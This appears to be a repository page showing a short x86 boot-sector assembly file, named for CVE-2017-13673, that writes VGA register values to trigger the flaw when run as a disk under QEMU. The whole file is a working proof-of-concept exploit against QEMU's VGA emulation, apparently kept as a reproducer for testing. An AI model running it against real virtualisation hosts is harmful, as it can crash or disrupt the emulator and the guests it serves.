summaryrefslogtreecommitdiffstats
path: root/boot-cve-2017-13673.asm
blob: 21d5f3d063117b4a9df5907f5af49d3930a4b336 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
; From: David Buchanan <d@vidbuchanan.co.uk>
;
; compiles to boot sector, pass as disk to qemu to run the code.
;

	BITS	16

	ORG	0x7C00
	
	mov	dx, 0x3d4 ; start_addr high byte
	mov	al, 0x0c
	out	dx, al
	
	mov	dx, 0x3d5
	mov	al, 0xff
	out	dx, al
	
	
	mov	dx, 0x3d4 ; line_compare
	mov	al, 0x07
	out	dx, al
	
	mov	dx, 0x3d5
	in	al, dx
	and	al, ~0x10
	out	dx, al
	
	
	mov	dx, 0x3d4 ; line_compare
	mov	al, 0x09
	out	dx, al
	
	mov	dx, 0x3d5
	in	al, dx
	and	al, ~0x40
	out	dx, al
	
	
	mov	dx, 0x3ce ; gfx mode
	mov	al, 0x06
	out	dx, al
	
	mov	dx, 0x3cf
	mov	al, 0x01
	out	dx, al
	

	jmp	$

	TIMES	510-($-$$) DB 0
	DW	0xAA55		; boot signature